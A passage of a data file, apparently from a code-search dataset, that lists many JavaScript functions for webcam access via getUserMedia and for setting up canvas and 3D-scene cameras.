'mozfullscreenchange', handleFullscreenChange);\\n\\t\\t\\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\\n\\n\\t\\t\\tif (opts.fullscreen) fullscreen(true);\\n\\t\\t\\telems.video.src = opts.src;\\n\\t\\t}\",\n \"function setup() {\\n // set up canvas\\n let canvas = createCanvas(canvasW, canvasH);\\n canvas.parent('canvas');\\n\\n}\",\n \"init() {\\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\\n\\n if (this.ctx) {\\n this.playBtn.addEventListener('click', () => {\\n this.playBtn.classList.add('active');\\n this.startTheGame();\\n });\\n\\n this.retryBtn.addEventListener('click', () => {\\n this.reset();\\n this.retryBtn.classList.add('inactive');\\n this.startTheGame();\\n });\\n }\\n }\",\n \"initBoard() {\\n this.canvas = document.createElement('canvas');\\n this.ctx = this.canvas.getContext('2d');\\n this.width = this.canvas.width = this.tileWidth * this.columns;\\n this.height = this.canvas.height = this.tileHeight * this.rows;\\n this.canvas.style.border = \\\"none\\\";\\n this.initStage();\\n }\",\n \"function initialize() {\\n webcamElement = document.getElementById('webcam');\\n canvasElement = document.getElementById('canvas');\\n webcam = new Webcam(webcamElement, 'user', canvasElement);\\n snapButtonElement = document.getElementById('capture');\\n startButtonElement = document.getElementById('retake');\\n}\",\n \"function videoReady() { }\",\n \"setUpCanvas(){\\n var w = window.innerWidth;\\n var h = window.innerHeight;\\n this.$canvas = $(` {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraSetup(){\n\t// Get access to the camera!\n\tif('mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices) {\n\t\t// Not adding `{ audio: true }` since we only want video now\n\t\tnavigator.mediaDevices.getUserMedia({\n\t\t\t//Kamera Constrains:\n\t\t\t\n\t\t\tvideo: \n\t\t\t{\n\t\t\t\twidth: {ideal: 50},\n\t\t\t\theight: {ideal: 50},\n\t\t\t\tfacingMode: ['environment']\n\t\t\t}\n\t\t\t}).then(function(stream) {\n\t\t\t\tstreamVideo = stream;\n\t\t\t\tcameraOk = true;\n\t\t\t\tvideo.srcObject = stream;\n\t\t\t\tvideo.play();\n\n\t\t\t\tvar track = stream.getVideoTracks()[0];\n\t\t\t\t//Taschenlampe einschalten:\n\t\t\t\tconst imageCapture = new ImageCapture(track)\n\t\t\t\tconst photoCapabilities = imageCapture.getPhotoCapabilities().then(() => {\n\t\t\t\t\ttrack.applyConstraints({\n\t\t\t\t\t\tadvanced: [{torch: true}]\n\t\t\t\t\t});\n\t\t\t\t});\n\n\n\n\t\t\t});\n\t\t}\n\n\n\t}","async function setupCamera() {\n const video = document.getElementById('video');\n const canvas = document.getElementById('canvas');\n if (!video || !canvas) return null;\n\n let msg = '';\n log('Setting up camera');\n // setup webcam. note that navigator.mediaDevices requires that page is accessed via https\n if (!navigator.mediaDevices) {\n log('Camera Error: access not supported');\n return null;\n }\n let stream;\n const constraints = {\n audio: false,\n video: { facingMode: 'user', resizeMode: 'crop-and-scale' },\n };\n if (window.innerWidth > window.innerHeight) constraints.video.width = { ideal: window.innerWidth };\n else constraints.video.height = { ideal: window.innerHeight };\n try {\n stream = await navigator.mediaDevices.getUserMedia(constraints);\n } catch (err) {\n if (err.name === 'PermissionDeniedError' || err.name === 'NotAllowedError') msg = 'camera permission denied';\n else if (err.name === 'SourceUnavailableError') msg = 'camera not available';\n log(`Camera Error: ${msg}: ${err.message || err}`);\n return null;\n }\n // @ts-ignore\n if (stream) video.srcObject = stream;\n else {\n log('Camera Error: stream empty');\n return null;\n }\n const track = stream.getVideoTracks()[0];\n const settings = track.getSettings();\n if (settings.deviceId) delete settings.deviceId;\n if (settings.groupId) delete settings.groupId;\n if (settings.aspectRatio) settings.aspectRatio = Math.trunc(100 * settings.aspectRatio) / 100;\n log(`Camera active: ${track.label}`); // ${str(constraints)}\n log(`Camera settings: ${str(settings)}`);\n canvas.addEventListener('click', () => {\n // @ts-ignore\n if (video && video.readyState >= 2) {\n // @ts-ignore\n if (video.paused) {\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n } else {\n // @ts-ignore\n video.pause();\n }\n }\n // @ts-ignore\n log(`Camera state: ${video.paused ? 'paused' : 'playing'}`);\n });\n return new Promise((resolve) => {\n video.onloadeddata = async () => {\n // @ts-ignore\n canvas.width = video.videoWidth;\n // @ts-ignore\n canvas.height = video.videoHeight;\n // @ts-ignore\n video.play();\n detectVideo(video, canvas);\n resolve(true);\n };\n });\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'environment',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","async function setupCamera() {\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available');\n }\n\n const video = document.getElementById('webcam-video');\n video.width = videoWidth;\n video.height = videoHeight;\n\n // const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: videoWidth,\n height: videoHeight,\n },\n });\n video.srcObject = stream;\n\n return new Promise((resolve) => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n}","async function setupCamera() {\n const video = document.getElementById('video');\n video.width = maxVideoSize;\n video.height = maxVideoSize;\n\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\n const mobile = isMobile();\n const stream = await navigator.mediaDevices.getUserMedia({\n 'audio': false,\n 'video': {\n facingMode: 'user',\n width: mobile ? undefined : maxVideoSize,\n height: mobile ? undefined: maxVideoSize}\n });\n video.srcObject = stream;\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video);\n };\n });\n } else {\n const errorMessage = \"This browser does not support video capture, or this device does not have a camera\";\n alert(errorMessage);\n return Promise.reject(errorMessage);\n }\n}","function startCamera() {\n\n let constraints = {\n audio: false,\n video: {\n width: 640,\n height: 480,\n frameRate: 30\n }\n }\n\n video.setAttribute('width', 640);\n video.setAttribute('height', 480);\n video.setAttribute('autoplay', '');\n video.setAttribute('muted', '');\n video.setAttribute('playsinline', '');\n\n // Start video playback once the camera was fetched.\n function onStreamFetched(mediaStream) {\n video.srcObject = mediaStream;\n // Check whether we know the video dimensions yet, if so, start BRFv4.\n function onStreamDimensionsAvailable() {\n if (video.videoWidth === 0) {\n setTimeout(onStreamDimensionsAvailable, 100);\n } else {\n\n }\n }\n onStreamDimensionsAvailable();\n }\n\n window.navigator.mediaDevices.getUserMedia(constraints).then(onStreamFetched).catch(function() {\n alert(\"No camera available.\");\n });\n}","function startvideo() {\n webcam.style.width = document.width + 'px';\n webcam.style.height = document.height + 'px';\n webcam.setAttribute('autoplay', '');\n webcam.setAttribute('muted', '');\n\twebcam.setAttribute('playsinline', '');\n\n var constraints = {\n audio: false,\n video: {\n facingMode: 'user'\n }\n }\n \tnavigator.mediaDevices.getUserMedia(constraints).then(function success(stream) {\n webcam.srcObject = stream;\n initImages();\n animate();\n });\n}","function loadCamera() {\n // setup camera capture\n videoInput = createCapture(VIDEO);\n videoInput.size(400, 300);\n videoInput.position(0, 0);\n videoInput.id(\"v\");\n var mv = document.getElementById(\"v\");\n mv.muted = true;\n}","async function setupCamera() {\r\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\r\n throw new Error(\r\n 'Browser API navigator.mediaDevices.getUserMedia not available');\r\n }\r\n\r\n const camera = document.getElementById('camera');\r\n camera.width = cameraWidth;\r\n camera.height = cameraHeight;\r\n\r\n const mobile = isMobile();\r\n\r\n const stream = await navigator.mediaDevices.getUserMedia({\r\n 'audio': false,\r\n 'video': {\r\n facingMode: 'user',\r\n width: mobile ? undefined : cameraWidth,\r\n height: mobile ? undefined : cameraHeight,\r\n },\r\n });\r\n camera.srcObject = stream;\r\n\r\n return new Promise((resolve) => {\r\n camera.onloadedmetadata = () => {\r\n resolve(camera);\r\n };\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n util.assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n if(selfie === true){\n cameraView.classList.replace(\"user\", \"environment\");\n cameraOutput.classList.replace(\"user\", \"environment\");\n cameraSensor.classList.replace(\"user\", \"environment\");\n constraints = rearConstraints;\n selfie = false;\n }\n else{\n cameraView.classList.replace(\"environment\", \"user\");\n cameraOutput.classList.replace(\"environment\", \"user\");\n cameraSensor.classList.replace(\"environment\", \"user\");\n constraints = userConstraints;\n selfie = true;\n }\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStartFront() { \n frontCamera = true\n var constraints = { video: { facingMode: \"user\" }, audio: false };\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n cameraView = document.querySelector(\"#webcam\");\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cam() {\n snapBtn.addEventListener('click', enroll);\n // detectButton.addEventListener('click', detect);\n navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n width: 500,\n height: 500\n }\n })\n .then(stream => {\n video.srcObject = stream;\n video.onloadedmetadata = video.play()\n })\n .catch(err => console.error(err));\n}","_switchCamera() {\n if (this.isVideoTrack() && this.videoType === _service_RTC_VideoType__WEBPACK_IMPORTED_MODULE_10___default.a.CAMERA && typeof this.track._switchCamera === 'function') {\n this.track._switchCamera();\n\n this._facingMode = this._facingMode === _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT ? _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.USER : _service_RTC_CameraFacingMode__WEBPACK_IMPORTED_MODULE_7___default.a.ENVIRONMENT;\n }\n }","function getCamera(){\n document.getElementById('ownGifs').style.display=\"none\"\n document.getElementById('createGif').style.display=\"none\";\n document.getElementById('camera').style.display=\"inline-block\";\n var video = document.querySelector('video');\n stream = navigator.mediaDevices.getUserMedia(constraints)\n .then(function(mediaStream) {\n video.srcObject = mediaStream;\n video.onloadedmetadata = function(e) {\n video.play(); // Starting reproduce video cam\n };\n recorder = RecordRTC(mediaStream, { \n // disable logs\n disableLogs: true,\n type: \"gif\",\n frameRate: 1,\n width: 360,\n hidden: 240,\n quality: 10});\n })\n .catch(function(err) { \n\n }); // always check for errors at the end.\n\n \n}","async function setupCamera (config) {\n const { videoWidth, videoHeight } = config\n if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {\n throw new Error(\n 'Browser API navigator.mediaDevices.getUserMedia not available'\n )\n }\n\n const video = document.getElementById('video')\n video.width = videoWidth\n video.height = videoHeight\n\n const mobile = isMobile()\n const stream = await navigator.mediaDevices.getUserMedia({\n audio: false,\n video: {\n facingMode: 'user',\n width: mobile ? undefined : videoWidth,\n height: mobile ? undefined : videoHeight\n }\n })\n video.srcObject = stream\n\n return new Promise(resolve => {\n video.onloadedmetadata = () => {\n resolve(video)\n }\n })\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","function cameraStart() {\r\n navigator.mediaDevices\r\n .getUserMedia(constraints)\r\n .then(function(stream) {\r\n track = stream.getTracks()[0];\r\n cameraView.srcObject = stream;\r\n })\r\n .catch(function(error) {\r\n console.error(\"Oops. Something is broken.\", error);\r\n });\r\n}","async start() {\n if (this.webcamConfig.facingMode) {\n _tensorflow_tfjs_core__WEBPACK_IMPORTED_MODULE_0__[\"util\"].assert((this.webcamConfig.facingMode === 'user') ||\n (this.webcamConfig.facingMode === 'environment'), () => `Invalid webcam facing mode: ${this.webcamConfig.facingMode}. ` +\n `Please provide 'user' or 'environment'`);\n }\n try {\n this.stream = await navigator.mediaDevices.getUserMedia({\n video: {\n deviceId: this.webcamConfig.deviceId,\n facingMode: this.webcamConfig.facingMode ?\n this.webcamConfig.facingMode :\n 'user',\n width: this.webcamVideoElement.width,\n height: this.webcamVideoElement.height\n }\n });\n }\n catch (e) {\n // Modify the error message but leave the stack trace intact\n e.message = `Error thrown while initializing video stream: ${e.message}`;\n throw e;\n }\n if (!this.stream) {\n throw new Error('Could not obtain video from webcam.');\n }\n // Older browsers may not have srcObject\n try {\n this.webcamVideoElement.srcObject = this.stream;\n }\n catch (error) {\n console.log(error);\n this.webcamVideoElement.src = window.URL.createObjectURL(this.stream);\n }\n // Start the webcam video stream\n this.webcamVideoElement.play();\n this.isClosed = false;\n return new Promise(resolve => {\n // Add event listener to make sure the webcam has been fully initialized.\n this.webcamVideoElement.onloadedmetadata = () => {\n resolve();\n };\n });\n }","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function (error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function startVideo(){\n //gets the webcam, takes object as the first param, video is key, empty object as param\n navigator.getUserMedia(\n {video: {}},\n //whats coming from our webcam, setting it as source\n stream =>video.srcObject = stream,\n err => console.log(err))\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function cameraStart() {\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function setupCamera() {\n camera = new PerspectiveCamera(35, config.Screen.RATIO, 0.1, 300);\n camera.position.set(0, 8, 20);\n //camera.rotation.set(0,0,0);\n //camera.lookAt(player.position);\n console.log(\"Finished setting up Camera...\"\n + \"with x\" + camera.rotation.x + \" y:\" + camera.rotation.y + \" z:\" + camera.rotation.z);\n }","async function setupCamera() {\n let depthStream = await DepthCamera.getDepthStream();\n const depthVideo = document.getElementById('depthStream');\n depthVideo.srcObject = depthStream;\n return DepthCamera.getCameraCalibration(depthStream);\n}","function startVideo() {\n navigator.getUserMedia(\n { \n video: \n {\n //the ideal part is imp, it helps to get 16:9 ratio also\n height : { ideal : window.innerHeight } ,\n width : { ideal : window.innerWidth }\n } \n } ,\n stream => video.srcObject = stream,\n err => console.error(err)\n ) \n}","function cameraStart() {\n //the getUserMedia method to access the camera\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = track;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is horribly broken.\", error);\n });\n}","function cameraStart() {\n var flagCamera = true;\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function (stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n localStream = track;\n })\n .catch(function (error) {\n flagCamera = false;\n console.error(\"Oops. Something is broken.\", error);\n }).then(function () {\n if (flagCamera)\n visibleC();\n });\n }","_initVideoStream () {\n const getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia ||\n navigator.mozGetUserMedia || navigator.msGetUserMedia\n if (!getUserMedia) {\n throw new Error('Webcam feature not supported! :(')\n }\n\n getUserMedia.call(navigator, { video: true }, (stream) => {\n this._stream = stream\n this._video.onloadedmetadata = this._onVideoReady.bind(this)\n this._video.src = window.URL.createObjectURL(stream)\n }, (err) => {\n throw err\n })\n }","function getVideo() {// getUserMedia must have MediaStreamConstraints\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // returns promise\n .then(MediaStream => {\n console.log(MediaStream); // MediaStream is an object\n video.srcObject = MediaStream; // video.srcObject is different to teacher video\n video.play();\n }).catch(err => {\n console.error(`Oh no!! You need to allow the site to use your webcam, ${err}`);\n alert(`Please reload and allow the site to access your webcam`);\n })\n}","function startVideo() {\n navigator.getUserMedia(\n { video: {} },\n stream => video.srcObject = stream,\n error => console.error(error)\n )\n}","function callUser(user) {\n getCam()\n .then(stream => {\n const video = document.getElementById(\"selfview\");\n try {\n video.srcObject = stream;\n } catch (error) {\n video.src = URL.createObjectURL(stream);\n }\n // document.getElementById(\"selfview\").srcObject = stream;\n\n /*if (window.URL) {\n document.getElementById(\"selfview\").src = window.URL.createObjectURL(stream);\n } else {\n document.getElementById(\"selfview\").src = stream;\n }*/\n\n toggleEndCallButton();\n caller.addStream(stream);\n localUserMedia = stream;\n caller.createOffer().then(function(desc) {\n caller.setLocalDescription(new RTCSessionDescription(desc));\n channel.trigger(\"client-sdp\", {\n \"sdp\": desc,\n \"room\": user,\n \"from\": id\n });\n room = user;\n });\n\n })\n .catch(error => {\n console.log('an error occured', error);\n })\n}","function setCamera()\n{\n var v = 0.0025; // camera tool speed\n var r = 950.0; // camera to origin distance\n \n var alphaX = v * camRotationX * Math.PI;\n var alphaY = v * camRotationY * Math.PI;\n \n alphaX = Math.max(alphaX, -0.5 * Math.PI)\n alphaX = Math.min(alphaX, 0.0)\n \n var sX = Math.sin(alphaX);\n var cX = Math.cos(alphaX);\n \n var sY = Math.sin(alphaY);\n var cY = Math.cos(alphaY);\n \n camera.position.x = r * cX * sY;\n camera.position.y = r * (-sX);\n camera.position.z = r * cX * cY;\n \n // aim the camera at the origin\n camera.lookAt(new THREE.Vector3(0,0,0));\n}","function startCamera() {\n Webcam.set({\n width: 320,\n height: 240,\n image_format: 'jpeg',\n jpeg_quality: 90\n });\n Webcam.attach('#my_camera');\n}","async function cameraStart() {\n\n await faceapi.nets.faceLandmark68TinyNet.loadFromUri(\"models\");\n await faceapi.nets.tinyFaceDetector.loadFromUri('models')\n\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then(function(stream) {\n track = stream.getTracks()[0];\n cameraView.srcObject = stream;\n })\n .catch(function(error) {\n console.error(\"Oops. Something is broken.\", error);\n });\n}","function captureCamera(capture) {\r\n navigator.mediaDevices.getUserMedia({\r\n video: true\r\n })\r\n .then(function (stream) {\r\n myvideo.srcObject = stream;\r\n myvideo.play();\r\n capture && capture(stream);\r\n })\r\n .catch(function (err) {\r\n console.error(err);\r\n alert(\"Ups, we need your camera! Please refresh the page and start again\");\r\n });\r\n}","async function setupCam() {\n navigator.mediaDevices.getUserMedia({\n video: true\n }).then(mediaStream => {\n vid.srcObject = mediaStream;\n }).catch((error) => {\n console.warn(error);\n });\n await knn.load();\n setTimeout(loop, 50);\n}","function getVideo() {\n\tnavigator.mediaDevices.getUserMedia({video: true, audio: false})\n\t\t.then(localMediaStream => {\n\t\t\tconsole.log(localMediaStream);\n\t\t\tvideo.src = window.URL.createObjectURL(localMediaStream);\n\t\t\t//MediaStream is an object and needs to be changed to be a URL\n\t\t\tvideo.play();\n\t\t\t//this updates so that the camera shouldn't just be one frame\n\t\t\t//if inspected, blob is the video being caught\n\t\t})\n\t\t.catch(err => {\n\t\t\tconsole.error(`WELP ERROR`, err);\n\t\t});\n}","function setupCamera() {\n // const camera = new PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\n const camera = new PerspectiveCamera(45, window.innerWidth / window.innerHeight, 0.1, 1000);\n camera.position.set(0, -distance,height / 2);\n camera.up = new Vector3(0,0,1);\n camera.lookAt(new Vector3(0, 0, height / 2));\n return camera;\n}","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","get camera() {return this._p.camera;}","function setVideoDevice(device) {\n\t\tconsole.log(\"[StationIDReader] Using device for video stream: \");\n\t\tconsole.log(device);\n\t\tif (navigator.getUserMedia) { \n\t\t //navigator.getUserMedia({video: true}, handleVideo, videoError);\n\t\t //navigator.getUserMedia({video: { facingMode: { exact: \"environment\" } } }, handleVideo, videoError);\n\t\t var constraints = {\n\t\t \tvideo: {deviceId: {exact: device.deviceId}}\n\t\t };\n\t\t navigator.getUserMedia(constraints, handleVideo, videoError);\n\t\t}\n\t\telse {\n\t\t\talert(\"unable to create video\")\n\t\t}\n\t}","function captureCamera_candidate(callback) {\n navigator.mediaDevices.getUserMedia({ audio: true, video: true }).then(function(camera) {\n callback(camera);\n }).catch(function(error) {\n alert('Unable to capture your camera. Please check console logs.');\n console.error(error);\n });\n}","get camera () {return this._p.camera;}","setCamera() {\r\n // set up camera\r\n this.camera = new Camera({\r\n time: this.time,\r\n sizes: this.sizes,\r\n renderer: this.renderer,\r\n debug: this.debug,\r\n config: this.config\r\n });\r\n\r\n // add to scene\r\n this.scene.add(this.camera.container);\r\n\r\n // update camera position per frame\r\n this.time.on('update', () => {\r\n if (this.world && this.world.car) { // if car is on the scene\r\n this.camera.target.x = this.world.car.chassis.object.position.x;\r\n this.camera.target.y = this.world.car.chassis.object.position.y;\r\n this.camera.target.z = this.world.car.chassis.object.position.z;\r\n this.camera.direction.x = this.world.car.movement.direction.x;\r\n this.camera.direction.y = this.world.car.movement.direction.y;\r\n }\r\n });\r\n }","function webcamToVideo()\n{\n\tn \t\t\t = navigator\n\tn.getUserMedia = n.getUserMedia || n.webkitGetUserMedia || n.mozGetUserMedia || n.msGetUserMedia;\n\twindow.URL \t = window.URL || window.webkitURL;\n\tn.getUserMedia(\n\t\t{video:true}, \n\t\tfunction(stream)\n\t\t{\n\t\t\tvideo.src = window.URL.createObjectURL(stream);\n\t\t\tlocalMediaStream = stream;\n\t\t},\n\t\tonCameraFail\n\t);\n}","function getVideo() {\n // getting someone's video webcam\n navigator.mediaDevices.getUserMedia({ video: true, audio: false}) // this returns a promise\n .then(localMediaStream => {\n console.log(localMediaStream);\n //video.src = localMediaStream;\n // still need to convert it to some sort of url to make it work\n video.src = window.URL.createObjectURL(localMediaStream); // now it works but only one frame\n video.play(); // now it's a live stream :)\n })\n .catch(err => {\n console.error(`Oupsy Daisy!`, err);\n }); // if it doesn't work shows an error (like oupsy daisy you need to allow acess to the camera)\n}","function requestWebcam(video) {\n return new Promise((resolve, reject) => {\n const options = { video: { height: 420 }, audio: false };\n navigator.mediaDevices\n .getUserMedia(options)\n .then((stream) => {\n video.addEventListener(\n 'loadedmetadata',\n (_) => {\n video.play();\n resolve(video);\n },\n { once: true }\n );\n\n video.srcObject = stream;\n })\n .catch((e) => {\n reject(e);\n });\n });\n}","function reloadVideo()\n{\n // From Mozilla Development Network site\n\n // Older browsers might not implement mediaDevices at all, so we set an empty object first\n if (navigator.mediaDevices === undefined) {\n navigator.mediaDevices = {};\n }\n\n // Some browsers partially implement mediaDevices. We can't just assign an object\n // with getUserMedia as it would overwrite existing properties.\n // Here, we will just add the getUserMedia property if it's missing.\n if (navigator.mediaDevices.getUserMedia === undefined) {\n navigator.mediaDevices.getUserMedia = function(constraints) {\n\n // First get ahold of the legacy getUserMedia, if present\n var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;\n\n // Some browsers just don't implement it - return a rejected promise with an error\n // to keep a consistent interface\n if (!getUserMedia) {\n return Promise.reject(new Error('getUserMedia is not implemented in this browser'));\n }\n\n // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise\n return new Promise(function(resolve, reject) {\n getUserMedia.call(navigator, constraints, resolve, reject);\n });\n }\n }\n\n\n //let constraints = {video: { facingMode: \"environment\" } }\n let constraints = {video: { facingMode: \"environment\" }};\n\n // Acquires the video stream.\n navigator.mediaDevices.getUserMedia(constraints)\n .then((stream) => {\n if (\"srcObject\" in video) {\n video.srcObject = stream;\n } else {\n // Avoid using this in new browsers, as it is going away.\n video.src = window.URL.createObjectURL(stream);\n }\n video.onloadedmetadata = function(e) {\n video.play();\n };\n localMediaStream = stream;\n videoplayer = new VideoPlayer();\n }).catch((reason) => {\n console.error(\"Error in getting camera stream.\");\n alert(\"Camera Stream is not available on this device.\");\n });\n // Clear data, ready to be reused.\n clearText();\n}","function updateViewerCamera(){\n\tif (viewerParams.useTrackball) viewerParams.controls.target = new THREE.Vector3(viewerParams.controlsTarget.x, viewerParams.controlsTarget.y, viewerParams.controlsTarget.z);\n\n\tif (viewerParams.camera){\n\t\tviewerParams.camera.position.set(viewerParams.cameraPosition.x, viewerParams.cameraPosition.y, viewerParams.cameraPosition.z);\n\t\tviewerParams.camera.rotation.set(viewerParams.cameraRotation._x, viewerParams.cameraRotation._y, viewerParams.cameraRotation._z);\n\t\tviewerParams.camera.up.set(viewerParams.cameraUp.x, viewerParams.cameraUp.y, viewerParams.cameraUp.z);\n\t}\n\t//console.log(viewerParams.camera.position, viewerParams.camera.rotation, viewerParams.camera.up);\n}","function startPreview() {\n var captureSettings = new Windows.Media.Capture.MediaCaptureInitializationSettings();\n captureSettings.streamingCaptureMode = Windows.Media.Capture.StreamingCaptureMode.video;\n captureSettings.photoCaptureSource = Windows.Media.Capture.PhotoCaptureSource.videoPreview;\n \n // Enumerate cameras and add find first back camera\n var cameraId = null;\n var deviceInfo = Windows.Devices.Enumeration.DeviceInformation;\n if (deviceInfo) {\n deviceInfo.findAllAsync(Windows.Devices.Enumeration.DeviceClass.videoCapture).done(function (cameras) {\n if (cameras && cameras.length > 0) {\n cameras.forEach(function (camera) {\n if (camera && !cameraId) {\n // Make use of the camera's location if it is available to the description\n var camLocation = camera.enclosureLocation;\n if (camLocation && camLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n cameraId = camera.id;\n }\n }\n });\n }\n if (cameraId) {\n captureSettings.videoDeviceId = cameraId;\n }\n\n capture.initializeAsync(captureSettings).done(function () {\n\n //trying to set focus mode\n var controller = capture.videoDeviceController;\n\n if (controller.focusControl && controller.focusControl.supported) {\n if (controller.focusControl.configure) {\n var focusConfig = new Windows.Media.Devices.FocusSettings();\n focusConfig.autoFocusRange = Windows.Media.Devices.AutoFocusRange.macro;\n\n var supportContinuousFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.continuous).returnValue;\n var supportAutoFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.auto).returnValue;\n\n if (supportContinuousFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.continuous;\n } else if (supportAutoFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.auto;\n }\n\n controller.focusControl.configure(focusConfig);\n controller.focusControl.focusAsync();\n }\n }\n\n var deviceProps = 